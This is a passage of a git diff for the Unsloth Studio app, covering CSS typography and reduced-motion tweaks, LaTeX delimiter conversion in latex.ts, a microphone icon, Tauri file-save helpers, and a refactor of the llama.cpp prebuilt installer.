+	button:focus:not(:focus-visible):not([aria-pressed="true"]),
 	a:focus:not(:focus-visible),
 	summary:focus:not(:focus-visible),
-	[role="button"]:focus:not(:focus-visible) {
+	[role="button"]:focus:not(:focus-visible):not([aria-pressed="true"]) {
 		--tw-ring-shadow: 0 0 #0000 !important;
 		--tw-ring-offset-shadow: 0 0 #0000 !important;
 	}
 
-	/* Set Hellix explicitly; .aui-thread-root resets --font-heading to sans. */
+	/* The greeting is a heading: it follows the user's heading font and
+	   defaults to Hellix. Restored on the element because the base h1 rule
+	   reads --font-heading with !important and .aui-thread-root resets
+	   that var to sans for chat prose. */
 	.unsloth-welcome-title {
-		font-family: "Hellix", "Space Grotesk Variable", var(--font-sans);
+		--font-heading: var(
+			--custom-heading-font,
+			"Hellix",
+			"Space Grotesk Variable",
+			var(--font-sans)
+		);
+		font-family: var(
+			--custom-heading-font,
+			"Hellix",
+			"Space Grotesk Variable",
+			var(--font-sans)
+		);
 		font-weight: 500;
 	}
 
 	/* Right-side Thinking pill (toggle or dropdown). pl-2 matches the left
 	   pills so the hover X is not pushed in too far. */
 	.unsloth-thinking-pill {
-		@apply inline-flex shrink-0 cursor-pointer items-center gap-1 rounded-full py-1.5 pl-2 pr-2.5 text-[14px] font-medium text-muted-foreground transition-colors hover:bg-primary/10 dark:hover:bg-white/[0.1] disabled:cursor-not-allowed disabled:opacity-40;
+		@apply inline-flex shrink-0 cursor-pointer items-center gap-1 rounded-full py-1.5 pl-2 pr-2.5 text-ui-14 font-medium text-muted-foreground transition-colors hover:bg-primary/10 dark:hover:bg-white/[0.1] disabled:cursor-not-allowed disabled:opacity-40;
 		/* Reserve a text line so the icon-only (inactive) pill matches the
 		   text pills' height instead of collapsing to the icon. */
 		min-height: calc(1lh + 0.75rem);
@@ -1369,6 +1823,28 @@
 		cursor: pointer;
 	}
 
+	/* Keep Thinking on the control row in narrow split layouts. */
+	@container (max-width: 36rem) {
+		.unsloth-thinking-pill {
+			@apply size-8 justify-center gap-0 px-0;
+			min-height: 2rem;
+		}
+
+		.unsloth-thinking-label,
+		.unsloth-thinking-caret {
+			display: none;
+		}
+
+		.unsloth-thinking-pill[data-pill-label] {
+			position: relative;
+		}
+
+		.unsloth-thinking-pill[data-pill-label]:not([data-state="open"]):hover::after {
+			content: attr(data-pill-label);
+			@apply pointer-events-none absolute bottom-[calc(100%+6px)] left-1/2 z-50 -translate-x-1/2 rounded-full bg-black px-2.5 py-1.5 text-ui-11 font-medium leading-snug whitespace-nowrap text-white shadow-md;
+		}
+	}
+
 	/* Smaller tick for selected Thinking options. */
 	.unsloth-tick {
 		width: 0.8rem !important;
@@ -1410,7 +1886,7 @@
 			[data-slot="dropdown-menu-item"],
 			[data-slot="dropdown-menu-sub-trigger"]
 		) {
-		@apply gap-3 pl-3 pr-3 py-2 text-[14px];
+		@apply gap-3 pl-3 pr-3 py-2 text-ui-14;
 		cursor: pointer;
 		/* Pin hover-box radius so dark matches light (container radius minus the
 		   side gutter keeps the curves concentric). */
@@ -1418,7 +1894,7 @@
 	}
 
 	.unsloth-plus-menu [data-slot="dropdown-menu-label"] {
-		@apply pl-3 pr-3 py-1.5 text-[12px];
+		@apply pl-3 pr-3 py-1.5 text-ui-12;
 	}
 
 	/* Active (green) items keep their primary text and icon color on hover. */
@@ -1518,7 +1994,7 @@
 	}
 
 	@media (prefers-reduced-motion: reduce) {
-		.chat-artifact-pop-surface {
+		html:not(.force-motion) .chat-artifact-pop-surface {
 			transition: none;
 			transform: none;
 		}
@@ -1649,15 +2125,11 @@
 		}
 	}
 
-	/* Fine-tuning Studio: equal default height, expandable when needed (md+) */
+	/* Fine-tuning Studio: equal minimum card height, grows with content (md+) */
 	.min-h-studio-config-column {
 		@apply md:min-h-[520px];
 	}
 
-	.h-studio-config-column {
-		@apply md:h-[520px];
-	}
-
 	[data-streamdown="unordered-list"] {
 		list-style-type: disc;
 		list-style-position: outside;
@@ -1712,21 +2184,21 @@
 
 	/* Chat thread: code slightly smaller by default; step up when the thread column is wide. */
 	.aui-thread-root [data-streamdown="code-block"] {
-		font-size: 0.8125rem;
+		font-size: calc(0.8125rem * var(--ui-font-scale, 1));
 		line-height: 1.55;
 	}
 
 	.aui-thread-root [data-streamdown="code-block-header"] {
-		font-size: 0.6875rem;
+		font-size: calc(0.6875rem * var(--ui-font-scale, 1));
 	}
 
 	@container (min-width: 36rem) {
 		.aui-thread-root [data-streamdown="code-block"] {
-			font-size: 0.875rem;
+			font-size: calc(0.875rem * var(--ui-font-scale, 1));
 		}
 
 		.aui-thread-root [data-streamdown="code-block-header"] {
-			font-size: 0.75rem;
+			font-size: calc(0.75rem * var(--ui-font-scale, 1));
 		}
 	}
 
@@ -1775,14 +2247,15 @@
 		margin-bottom: 0 !important;
 	}
 
-	/* Keep monospace for code fences and inline code (not KaTeX). */
+	/* Keep monospace for code fences and inline code (not KaTeX). The custom
+	   Code font (--custom-code-font) overrides when set, else Fira Code. */
 	.aui-thread-root [data-streamdown="code-block"] pre,
 	.aui-thread-root [data-streamdown="code-block"] code {
-		font-family: "Fira Code", ui-monospace, monospace;
+		font-family: var(--custom-code-font, "Fira Code", ui-monospace, monospace);
 	}
 
 	.aui-thread-root :where(p, li, td, th, blockquote, h1, h2, h3, h4, h5, h6) code {
-		font-family: "Fira Code", ui-monospace, monospace;
+		font-family: var(--custom-code-font, "Fira Code", ui-monospace, monospace);
 	}
 
 	/* Align fenced code blocks with the main chat column even when nested in lists. */
@@ -2201,39 +2674,41 @@
  * the documented WCAG outcome (motion is "minimised, not removed").
  *
  * .animate-spin and generated image loading dots are the exceptions: loading
- * indicators across Studio (tool execution loaders, sonner toasts, Tauri
+ * indicators across Unsloth (tool execution loaders, sonner toasts, Tauri
  * startup / update screens, the <Spinner /> primitive, and image generation
  * cards). Freezing them removes the only visual signal that work is in flight,
  * so they keep animating.
  */
 @media (prefers-reduced-motion: reduce) {
-	*,
-	*::before,
-	*::after {
+	/* html.force-motion (Reduce motion set to Off) opts back out of the
+	   OS preference, so these rules only apply without it. */
+	html:not(.force-motion) *,
+	html:not(.force-motion) *::before,
+	html:not(.force-motion) *::after {
 		animation-duration: 0.01ms !important;
 		animation-iteration-count: 1 !important;
 		transition-duration: 0.01ms !important;
 		scroll-behavior: auto !important;
 	}
 
-	.animate-spin {
+	html:not(.force-motion) .animate-spin {
 		animation-duration: 1.5s !important;
 		animation-iteration-count: infinite !important;
 	}
 
-	.generated-image-loading-dot {
+	html:not(.force-motion) .generated-image-loading-dot {
 		animation-duration: 1850ms !important;
 		animation-iteration-count: infinite !important;
 	}
 
-	.loading-bar-slide {
+	html:not(.force-motion) .loading-bar-slide {
 		animation-duration: 1.3s !important;
 		animation-iteration-count: infinite !important;
 	}
 
 	/* Keep the plus/x morph animating under reduced motion (small rotation,
 	   like the spinners above). */
-	.unsloth-composer-plus svg {
+	html:not(.force-motion) .unsloth-composer-plus svg {
 		transition-duration: 250ms !important;
 	}
 }
@@ -2255,3 +2730,37 @@
 .aui-tool-group-root .aui-tool-fallback-trigger:focus-visible .aui-tool-fallback-trigger-chevron {
   opacity: 1;
 }
+
+/* Third-party UI text follows the typography scale. Values equal the
+   library defaults at the 16px setting. KaTeX's internal font-size:1px
+   sizing trick is layout, not text, and stays untouched. */
+.before\:text-\[13px\]::before {
+	/* streamdown citation chip utility (class scanned from node_modules). */
+	font-size: calc(0.8125rem * var(--ui-font-scale, 1));
+}
+.recharts-text {
+	/* Chart axis/label text; beats the fontSize presentation attribute. */
+	font-size: calc(0.625rem * var(--ui-font-scale, 1));
+}
+.react-flow__edge-text.react-flow__edge-text {
+	/* Doubled class: react-flow's stylesheet loads after this file, so win
+	   on specificity, not order. */
+	font-size: calc(0.625rem * var(--ui-font-scale, 1));
+}
+.react-flow__attribution.react-flow__attribution {
+	font-size: calc(0.625rem * var(--ui-font-scale, 1));
+}
+.react-flow__node-input.react-flow__node-input,
+.react-flow__node-default.react-flow__node-default,
+.react-flow__node-output.react-flow__node-output,
+.react-flow__node-group.react-flow__node-group {
+	font-size: calc(0.75rem * var(--ui-font-scale, 1));
+}
+
+/* Radix hides the select viewport scrollbar (the viewport is the scroller
+   so menu corners stay rounded); restore the app's thin one. The inline
+   scrollbar-width on the viewport handles Firefox. */
+[data-slot="select-content"] [data-radix-select-viewport]::-webkit-scrollbar {
+	display: block !important;
+	width: 8px;
+}
diff --git a/studio/frontend/src/lib/chevron-icons.ts b/studio/frontend/src/lib/chevron-icons.ts
index b1a74e9953..a175970223 100644
--- a/studio/frontend/src/lib/chevron-icons.ts
+++ b/studio/frontend/src/lib/chevron-icons.ts
@@ -19,6 +19,20 @@ export const ChevronDownStandardIcon: IconSvgElement = [
   ],
 ];
 
+export const ChevronUpStandardIcon: IconSvgElement = [
+  [
+    "path",
+    {
+      d: "M5.99977 15L11.9998 9.00005L17.9998 15",
+      stroke: "currentColor",
+      strokeLinecap: "round",
+      strokeLinejoin: "round",
+      strokeWidth: "1.5",
+      key: "0",
+    },
+  ],
+];
+
 export const ChevronRightStandardIcon: IconSvgElement = [
   [
     "path",
diff --git a/studio/frontend/src/lib/latex.ts b/studio/frontend/src/lib/latex.ts
index 1a4ebdace8..edf9875602 100644
--- a/studio/frontend/src/lib/latex.ts
+++ b/studio/frontend/src/lib/latex.ts
@@ -1,8 +1,13 @@
 // Adapted from LibreChat's latex.ts
 // https://github.com/danny-avila/LibreChat/blob/main/client/src/utils/latex.ts
 //
-// Escapes currency dollar signs so they are not misinterpreted as LaTeX math
-// delimiters when singleDollarTextMath is enabled.
+// Two jobs, in order:
+//   1. Convert LaTeX bracket delimiters (`\[...\]`, `\(...\)`) into the dollar
+//      forms remark-math understands (`$$...$$`, `$...$`). remark-math only
+//      tokenizes dollar delimiters, so models that emit `\[...\]` / `\(...\)`
+//      would otherwise render as literal text.
+//   2. Escape currency dollar signs so they are not misinterpreted as LaTeX
+//      math delimiters when singleDollarTextMath is enabled.
 
 /**
  * Matches a single $ followed by a number pattern (currency), e.g.:
@@ -15,14 +20,14 @@ const CURRENCY_REGEX =
   /(?<![\\$])\$(?!\$)(?=\d+(?:,\d{3})*(?:\.\d+)?[KMBkmb]?(?:\s|$|[^a-zA-Z\d]))/g;
 
 /**
- * Find code-block regions (``` ... ``` and ` ... `) to skip.
+ * Find code-block regions (``` ... ```, ~~~ ... ~~~, and ` ... `) to skip.
  * Returns a sorted array of [start, end] index pairs.
  */
 function findCodeBlockRegions(content: string): Array<[number, number]> {
   const regions: Array<[number, number]> = [];
 
-  // Fenced code blocks: ```...```
-  const fencedRe = /```[\s\S]*?```/g;
+  // Fenced code blocks: ```...``` and ~~~...~~~ (both are code in GFM)
+  const fencedRe = /```[\s\S]*?```|~~~[\s\S]*?~~~/g;
   let match: RegExpExecArray | null;
   while ((match = fencedRe.exec(content)) !== null) {
     regions.push([match.index, match.index + match[0].length]);
@@ -51,9 +56,38 @@ function findCodeBlockRegions(content: string): Array<[number, number]> {
 }
 
 /**
- * Binary search to check if a position falls inside any code region.
+ * Match an inline link/image `[text](DEST)`, capturing the destination as group 1
+ * with the `d` flag so its span is read straight from `match.indices` (the text
+ * can contain an escaped `\](`, so a string search for the separator is unsafe).
+ * The text disallows unescaped `]`; the destination allows escapes and one level
+ * of balanced parens.
  */
-function isInCodeBlock(
+const LINK_DEST_RE =
+  /!?\[(?:\\.|[^\]\\])*?\]\(((?:\\.|[^()\\]|\([^()]*\))*)\)/gd;
+
+/**
+ * Find the destination spans of inline links/images, so a `\(...\)` written with
+ * escaped parens inside a URL isn't rewritten as math (which would break the
+ * link). Only the destination is returned, not the link text, so math in the
+ * visible text still converts. Sorted, non-overlapping (matches are disjoint).
+ */
+function findLinkDestinationRegions(content: string): Array<[number, number]> {
+  if (!content.includes("](")) return [];
+  const regions: Array<[number, number]> = [];
+  let match: RegExpExecArray | null;
+  LINK_DEST_RE.lastIndex = 0;
+  while ((match = LINK_DEST_RE.exec(content)) !== null) {
+    // `indices` is present (the `d` flag); group 1 spans the destination.
+    regions.push(match.indices![1]);
+  }
+  return regions;
+}
+
+/**
+ * Binary search to check if a position falls inside any region. Regions must be
+ * sorted by start and non-overlapping.
+ */
+function isInRegion(
   position: number,
   regions: Array<[number, number]>,
 ): boolean {
@@ -139,7 +173,11 @@ function looksLikeMathBody(body: string): boolean {
  * (`**$X$**`, `__$X$__`) are always math: LLMs use that for "bold math"
  * and the heuristic would otherwise reject prose-shaped bodies like "90 - x".
  */
-function hasInlineMathCloser(content: string, offset: number): boolean {
+function hasInlineMathCloser(
+  content: string,
+  offset: number,
+  mathRegions: Array<[number, number]>,
+): boolean {
   const MAX_SPAN = 200;
   const limit = Math.min(content.length, offset + 1 + MAX_SPAN);
   for (let i = offset + 1; i < limit; i++) {
@@ -147,6 +185,9 @@ function hasInlineMathCloser(content: string, offset: number): boolean {
     if (c === "\n") return false;
     if (c !== "$") continue;
     if (content[i - 1] === "\\") continue;
+    // A `$` opening a generated span (from `\(...\)`) is not a currency closer;
+    // pairing with it would swallow the price into math (`$5 + x \(y\)`).
+    if (isInRegion(i, mathRegions)) return false;
     if (content[i + 1] === "$") {
       i++;
       continue;
@@ -174,9 +215,124 @@ function hasInlineMathCloser(content: string, offset: number): boolean {
 }
 
 /**
- * Preprocess a markdown string to escape currency dollar signs so they are not
- * parsed as LaTeX math delimiters.
+ * Matches a `\[...\]` (display) or `\(...\)` (inline) LaTeX span. Non-greedy so
+ * the first closer wins; dotall so display spans can wrap lines. `(?<!\\)` on
+ * each opener leaves an escaped literal `\\[` (a real backslash then bracket)
+ * alone. The body is length-capped so an unclosed opener can't scan to
+ * end-of-input: without the cap, many unclosed `\(`/`\[` make matching O(n^2),
+ * and this runs per animation frame while streaming. Real spans are far shorter
+ * than the cap; a longer one just stays literal.
+ */
+const LATEX_DELIM_RE =
+  /(?<!\\)\\\[([\s\S]{0,4096}?)\\\]|(?<!\\)\\\(([\s\S]{0,4096}?)\\\)/g;
+
+/**
+ * Rewrite `\[...\]` -> block `$$...$$` and `\(...\)` -> inline `$...$` so
+ * remark-math can tokenize them. Bodies are trimmed: remark-math won't open an
+ * inline span on `$ ` (a `$` followed by whitespace), and display fences must
+ * sit on their own line to render as a centered block (not inline math), so
+ * `\[...\]` becomes `\n$$\n...\n$$\n`.
  *
+ * Spans inside code blocks/spans are left intact (a code sample showing `\(x\)`
+ * must not be rewritten).
+ *
+ * A space is inserted between a converted span and a following `$` so their
+ * delimiters can't fuse (`\(a\)\(b\)` -> `$a$$b$` would mis-tokenize into one
+ * broken span). A preceding currency (`$5\(x\)`) is instead broken later by the
+ * currency escape pass.
+ *
+ * Returns the rewritten text and the `[start, end)` ranges (in the rewritten
+ * string) of every span it produced, so the currency pass can skip them.
+ */
+function convertLatexDelimiters(content: string): {
+  text: string;
+  mathRegions: Array<[number, number]>;
+} {
+  if (!content.includes("\\[") && !content.includes("\\(")) {
+    return { text: content, mathRegions: [] };
+  }
+
+  const codeRegions = findCodeBlockRegions(content);
+  const linkRegions = findLinkDestinationRegions(content);
+  const inSkipZone = (pos: number) =>
+    isInRegion(pos, codeRegions) || isInRegion(pos, linkRegions);
+  // Pushed in ascending, non-overlapping order (offset only grows), so this
+  // stays valid for isInRegion's binary search without a sort.
+  const mathRegions: Array<[number, number]> = [];
+  // Accumulate into an array, not a string: reading the last char off a growing
+  // `+=` accumulator flattens its rope every append (O(n^2) over many spans, on
+  // the per-frame streaming path), so track the tail char and length instead.
+  const parts: string[] = [];
+  let offset = 0;
+  let lastChar = "";
+  let last = 0;
+  // Append a chunk, separating a trailing `$` from a leading `$` so two spans
+  // can't fuse. Returns where the chunk landed (after any inserted space).
+  const append = (chunk: string): number => {
+    if (!chunk) return offset;
+    if (lastChar === "$" && chunk.startsWith("$")) {
+      parts.push(" ");
+      offset += 1;
+    }
+    const start = offset;
+    parts.push(chunk);
+    offset += chunk.length;
+    lastChar = chunk[chunk.length - 1];
+    return start;
+  };
+  let match: RegExpExecArray | null;
+  LATEX_DELIM_RE.lastIndex = 0;
+  while ((match = LATEX_DELIM_RE.exec(content)) !== null) {
+    const matchEnd = match.index + match[0].length;
+    // Skip if either delimiter is inside code or a link destination: an opener
+    // outside such a zone must not consume a closer inside one and rewrite
+    // across the boundary. Resume right after this opener (not past the whole
+    // match) so a valid span that this match spanned across (a stray code `\(`
+    // paired with a real closer) is still found on the next pass, not swallowed.
+    if (inSkipZone(match.index) || inSkipZone(matchEnd - 1)) {
+      LATEX_DELIM_RE.lastIndex = match.index + 1;
+      continue;
+    }
+    const isDisplay = match[1] !== undefined;
+    const body = (isDisplay ? match[1] : match[2]).trim();
+    // Leave an empty span (`\(\)`) literal; a bare `$$` would open a stray
+    // display block that swallows following text.
+    if (!body) {
+      continue;
+    }
+    append(content.slice(last, match.index));
+    let wrapped: string;
+    if (isDisplay) {
+      // Keep the opener's leading indentation so a `$$` block inside a list item
+      // stays in the container instead of breaking out at column 0. Only when the
+      // opener is whitespace-prefixed, so inline `text \[x\]` keeps column 0.
+      const lineStart =
+        match.index > 0 ? content.lastIndexOf("\n", match.index - 1) + 1 : 0;
+      const prefix = content.slice(lineStart, match.index);
+      const indent = /^\s*$/.test(prefix) ? prefix : "";
+      // Indent every body line, not just the first, so multi-line display math
+      // (`\[a\nb\]`) stays wholly inside the container.
+      const inner = indent ? body.replace(/\n/g, `\n${indent}`) : body;
+      wrapped = `\n${indent}$$\n${indent}${inner}\n${indent}$$\n`;
+    } else {
+      wrapped = `$${body}$`;
+    }
+    const start = append(wrapped);
+    mathRegions.push([start, offset]);
+    last = matchEnd;
+  }
+  append(content.slice(last));
+  return { text: parts.join(""), mathRegions };
+}
+
+/**
+ * Preprocess a markdown string so LaTeX renders: convert bracket delimiters to
+ * dollar forms, then escape currency dollar signs so they are not parsed as
+ * math delimiters.
+ *
+ * - `\[E = mc^2\]` becomes a `$$` display block on its own lines (display math)
+ * - `\(\alpha\)` becomes `$\alpha$` (inline math)
+ * - `\(x\)` in a code span is untouched
  * - `$5` alone becomes `\$5` (currency, not math)
  * - `$\alpha$` is untouched (real LaTeX)
  * - `$30^\circ$` is untouched (LaTeX whose body starts with a digit)
@@ -185,15 +341,22 @@ function hasInlineMathCloser(content: string, offset: number): boolean {
  * - Currency inside code blocks/spans is untouched
  */
 export function preprocessLaTeX(content: string): string {
-  if (!content.includes("$")) return content;
+  const { text, mathRegions } = convertLatexDelimiters(content);
 
-  const codeRegions = findCodeBlockRegions(content);
+  if (!text.includes("$")) return text;
 
-  return content.replace(CURRENCY_REGEX, (match, offset) => {
-    if (isInCodeBlock(offset, codeRegions)) {
+  const codeRegions = findCodeBlockRegions(text);
+
+  return text.replace(CURRENCY_REGEX, (match, offset) => {
+    if (isInRegion(offset, codeRegions)) {
       return match;
     }
-    if (hasInlineMathCloser(content, offset)) {
+    // Skip the spans we just created from `\(...\)` so a numeric body like
+    // `$5$` isn't re-escaped back to literal `\$5$`.
+    if (isInRegion(offset, mathRegions)) {
+      return match;
+    }
+    if (hasInlineMathCloser(text, offset, mathRegions)) {
       return match;
     }
     return "\\" + match;
diff --git a/studio/frontend/src/lib/mic-icon.tsx b/studio/frontend/src/lib/mic-icon.tsx
new file mode 100644
index 0000000000..9ff6817845
--- /dev/null
+++ b/studio/frontend/src/lib/mic-icon.tsx
@@ -0,0 +1,17 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { FC } from "react";
+
+/** Microphone icon used by the chat composer and the Voice settings tab. */
+export const MicIcon: FC<{ className?: string }> = ({ className }) => (
+  <svg
+    className={className}
+    viewBox="0 0 256 256"
+    fill="currentColor"
+    xmlns="http://www.w3.org/2000/svg"
+    aria-hidden={true}
+  >
+    <path d="M128,176a48.05,48.05,0,0,0,48-48V64a48,48,0,0,0-96,0v64A48.05,48.05,0,0,0,128,176ZM96,64a32,32,0,0,1,64,0v64a32,32,0,0,1-64,0Zm40,143.6V232a8,8,0,0,1-16,0V207.6A80.11,80.11,0,0,1,48,128a8,8,0,0,1,16,0,64,64,0,0,0,128,0,8,8,0,0,1,16,0A80.11,80.11,0,0,1,136,207.6Z" />
+  </svg>
+);
diff --git a/studio/frontend/src/lib/native-files.ts b/studio/frontend/src/lib/native-files.ts
new file mode 100644
index 0000000000..48a6bd4ab7
--- /dev/null
+++ b/studio/frontend/src/lib/native-files.ts
@@ -0,0 +1,86 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { isTauri } from "@/lib/api-base";
+
+const NATIVE_FILE_NAME_HEADER = "x-unsloth-default-name";
+export class DownloadCancelledError extends Error {
+  constructor() {
+    super("Save cancelled.");
+    this.name = "DownloadCancelledError";
+  }
+}
+
+export function isDownloadCancelled(error: unknown): boolean {
+  return error instanceof DownloadCancelledError;
+}
+
+function encodeNativeFilename(filename: string): string {
+  const bytes = new TextEncoder().encode(filename);
+  let binary = "";
+  for (const byte of bytes) {
+    binary += String.fromCharCode(byte);
+  }
+  return btoa(binary);
+}
+
+export interface NativeChatImport {
+  name: string;
+  content: string;
+}
+
+function browserDownload(blob: Blob, filename: string): void {
+  const url = URL.createObjectURL(blob);
+  const anchor = document.createElement("a");
+  anchor.href = url;
+  anchor.download = filename;
+  document.body.appendChild(anchor);
+  anchor.click();
+  anchor.remove();
+  URL.revokeObjectURL(url);
+}
+
+/** Save through a native chooser in Tauri and retain normal downloads on web. */
+export async function downloadFile(
+  content: string | Blob | Uint8Array,
+  filename: string,
+  mimeType = "application/octet-stream",
+): Promise<void> {
+  if (isTauri) {
+    const { invoke } = await import("@tauri-apps/api/core");
+    const bytes =
+      typeof content === "string"
+        ? new TextEncoder().encode(content)
+        : content instanceof Blob
+          ? new Uint8Array(await content.arrayBuffer())
+          : content;
+    const savedPath = await invoke<string | null>("save_native_file", bytes, {
+      headers: {
+        [NATIVE_FILE_NAME_HEADER]: encodeNativeFilename(filename),
+      },
+    });
+    if (savedPath === null) {
+      throw new DownloadCancelledError();
+    }
+    return;
+  }
+
+  const browserContent =
+    content instanceof Uint8Array ? Uint8Array.from(content).buffer : content;
+  const blob =
+    browserContent instanceof Blob
+      ? browserContent
+      : new Blob([browserContent], { type: mimeType });
+
+  browserDownload(blob, filename);
+  return;
+}
+
+/** Open the bounded native chat-import picker. Cancellation returns null. */
+export async function pickNativeChatImport(): Promise<NativeChatImport | null> {
+  if (!isTauri) {
+    return null;
+  }
+  const { invoke } = await import("@tauri-apps/api/core");
+  return invoke<NativeChatImport | null>("pick_native_chat_import");
+}
diff --git a/studio/frontend/src/lib/tauri-diagnostics.ts b/studio/frontend/src/lib/tauri-diagnostics.ts
index 5c07931a86..2b687478fe 100644
--- a/studio/frontend/src/lib/tauri-diagnostics.ts
+++ b/studio/frontend/src/lib/tauri-diagnostics.ts
@@ -62,7 +62,7 @@ export function redactDiagnosticsText(text: string): string {
     "$1$2<redacted>",
   );
 
-  // Redact Studio paths before broader home-directory paths.
+  // Redact Unsloth paths before broader home-directory paths.
   redacted = redacted.replace(
     /(?:\/Users|\/home)\/[^\s/]+\/\.unsloth\/studio/gi,
     "<studio_home>",
diff --git a/studio/frontend/src/main.tsx b/studio/frontend/src/main.tsx
index 0922e764bb..e3b2bceccf 100644
--- a/studio/frontend/src/main.tsx
+++ b/studio/frontend/src/main.tsx
@@ -5,8 +5,8 @@ import { StrictMode } from "react";
 import { createRoot } from "react-dom/client";
 
 import "./index.css";
-import { fetchDeviceType } from "./config/env";
 import { App } from "./app/app";
+import { fetchDeviceType } from "./config/env";
 import { initializeLocale } from "./i18n";
 
 const globalCrypto = globalThis.crypto as Crypto | undefined;
@@ -36,10 +36,17 @@ if (!rootElement) {
 
 initializeLocale();
 
-fetchDeviceType().then(() => {
-  createRoot(rootElement).render(
-    <StrictMode>
-      <App />
-    </StrictMode>,
-  );
-});
+// Rasterization follows the browser OS, not the potentially remote server.
+// This adjustment is calibrated for desktop Linux, so exclude Android.
+const uaLower = navigator.userAgent.toLowerCase();
+if (uaLower.includes("linux") && !uaLower.includes("android")) {
+  document.documentElement.classList.add("render-linux");
+}
+
+createRoot(rootElement).render(
+  <StrictMode>
+    <App />
+  </StrictMode>,
+);
+
+fetchDeviceType().catch(() => undefined);
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index e40cb3083e..6026962478 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -10,6 +10,7 @@ import argparse
 import atexit
 import errno
 import fnmatch
+import glob
 import hashlib
 import json
 import os
@@ -19,6 +20,7 @@ import re
 import shutil
 import site
 import socket
+import stat
 import struct
 import subprocess
 import sys
@@ -41,6 +43,21 @@ except ImportError:
 from pathlib import Path
 from typing import Any, Iterable, Iterator
 
+# Shared component-agnostic machinery lives in prebuilt_core (same directory);
+# put studio/ on sys.path so it resolves whether this file is run as a script
+# (from any cwd) or loaded via an importlib spec by the tests.
+_STUDIO_DIR = os.path.dirname(os.path.abspath(__file__))
+if _STUDIO_DIR not in sys.path:
+    sys.path.insert(0, _STUDIO_DIR)
+
+import prebuilt_core as _core  # noqa: E402
+
+# Late-binding seam: core functions resolve collaborators (download_file,
+# fetch_json, ...) through this module's globals at call time, so tests that
+# monkeypatch names on this module keep working.
+_OPS = _core.ModuleOps(globals())
+USER_AGENT = "unsloth-studio-llama-prebuilt"
+
 
 EXIT_SUCCESS = 0
 EXIT_FALLBACK = 2
@@ -119,26 +136,7 @@ def _amd_smi_allowed() -> bool:
     return False
 
 
-def windows_hidden_subprocess_kwargs() -> dict[str, object]:
-    """Return Windows-only subprocess kwargs that suppress console windows."""
-    if sys.platform != "win32":
-        return {}
-
-    kwargs: dict[str, object] = {}
-    create_no_window = getattr(subprocess, "CREATE_NO_WINDOW", 0)
-    if create_no_window:
-        kwargs["creationflags"] = create_no_window
-
-    startupinfo_factory = getattr(subprocess, "STARTUPINFO", None)
-    startf_use_showwindow = getattr(subprocess, "STARTF_USESHOWWINDOW", 0)
-    sw_hide = getattr(subprocess, "SW_HIDE", 0)
-    if startupinfo_factory is not None and startf_use_showwindow:
-        startupinfo = startupinfo_factory()
-        startupinfo.dwFlags |= startf_use_showwindow
-        startupinfo.wShowWindow = sw_hide
-        kwargs["startupinfo"] = startupinfo
-
-    return kwargs
+windows_hidden_subprocess_kwargs = _core.windows_hidden_subprocess_kwargs
 
 
 def env_int(
@@ -165,9 +163,9 @@ def env_int(
 # errors. Only use "master" temporarily when the latest release is missing
 # support for a new model architecture.
 DEFAULT_LLAMA_TAG = os.environ.get("UNSLOTH_LLAMA_TAG", "latest")
-# Default published repo for prebuilt release resolution. Linux uses
-# Unsloth prebuilts; setup.sh/setup.ps1 pass --published-repo explicitly
-# for macOS/Windows to override with ggml-org/llama.cpp when needed.
+# Default published repo for prebuilt release resolution. Every host plans
+# its prebuilt against the Unsloth fork; setup.sh/setup.ps1 pass it via
+# --published-repo. ggml-org is reachable only via an explicit override.
 DEFAULT_PUBLISHED_REPO = "unslothai/llama.cpp"
 DEFAULT_PUBLISHED_TAG = os.environ.get("UNSLOTH_LLAMA_RELEASE_TAG")
 DEFAULT_PUBLISHED_MANIFEST_ASSET = os.environ.get(
@@ -265,6 +263,7 @@ class HostInfo:
     has_physical_nvidia: bool
     has_usable_nvidia: bool
     has_rocm: bool = False
+    has_intel_gpu: bool = False
     rocm_gfx_target: str | None = None
     # (major, minor) from platform.mac_ver(); None off macOS or if unparseable.
     # Skips a macos prebuilt whose minimum-OS exceeds this host.
@@ -344,10 +343,7 @@ class LinuxCudaSelection:
         return self.attempts[0]
 
 
-@dataclass
-class CudaRuntimePreference:
-    runtime_line: str | None
-    selection_log: list[str]
+CudaRuntimePreference = _core.CudaRuntimePreference
 
 
 @dataclass(frozen = True)
@@ -401,12 +397,8 @@ class InstallReleasePlan:
     approved_checksums: ApprovedReleaseChecksums
 
 
-class PrebuiltFallback(RuntimeError):
-    pass
-
-
-class BusyInstallConflict(RuntimeError):
-    pass
+PrebuiltFallback = _core.PrebuiltFallback
+BusyInstallConflict = _core.BusyInstallConflict
 
 
 class ExistingInstallSatisfied(RuntimeError):
@@ -416,51 +408,8 @@ class ExistingInstallSatisfied(RuntimeError):
         self.used_fallback = used_fallback
 
 
-def _os_error_messages(exc: BaseException) -> list[str]:
-    messages: list[str] = []
-    if isinstance(exc, OSError):
-        for value in (
-            getattr(exc, "strerror", None),
-            getattr(exc, "filename", None),
-            getattr(exc, "filename2", None),
-        ):
-            if isinstance(value, str) and value:
-                messages.append(value)
-    text = str(exc)
-    if text:
-        messages.append(text)
-    return [message.lower() for message in messages if message]
-
-
-def is_busy_lock_error(exc: BaseException) -> bool:
-    if isinstance(exc, BusyInstallConflict):
-        return True
-    if isinstance(exc, OSError):
-        if exc.errno in {
-            errno.EACCES,
-            errno.EBUSY,
-            errno.EPERM,
-            errno.ETXTBSY,
-        }:
-            return True
-        if getattr(exc, "winerror", None) in {5, 32, 145}:
-            return True
-    for message in _os_error_messages(exc):
-        if any(
-            needle in message
-            for needle in (
-                "access is denied",
-                "being used by another process",
-                "device or resource busy",
-                "permission denied",
-                "text file busy",
-                "file is in use",
-                "process cannot access the file",
-                "cannot create a file when that file already exists",
-            )
-        ):
-            return True
-    return False
+_os_error_messages = _core._os_error_messages
+is_busy_lock_error = _core.is_busy_lock_error
 
 
 # Status logs default to stderr so resolver modes keep stdout machine-readable
@@ -478,153 +427,30 @@ def log_lines(lines: Iterable[str]) -> None:
         log(line)
 
 
-def parsed_hostname(url: str | None) -> str | None:
-    if not url:
-        return None
-    try:
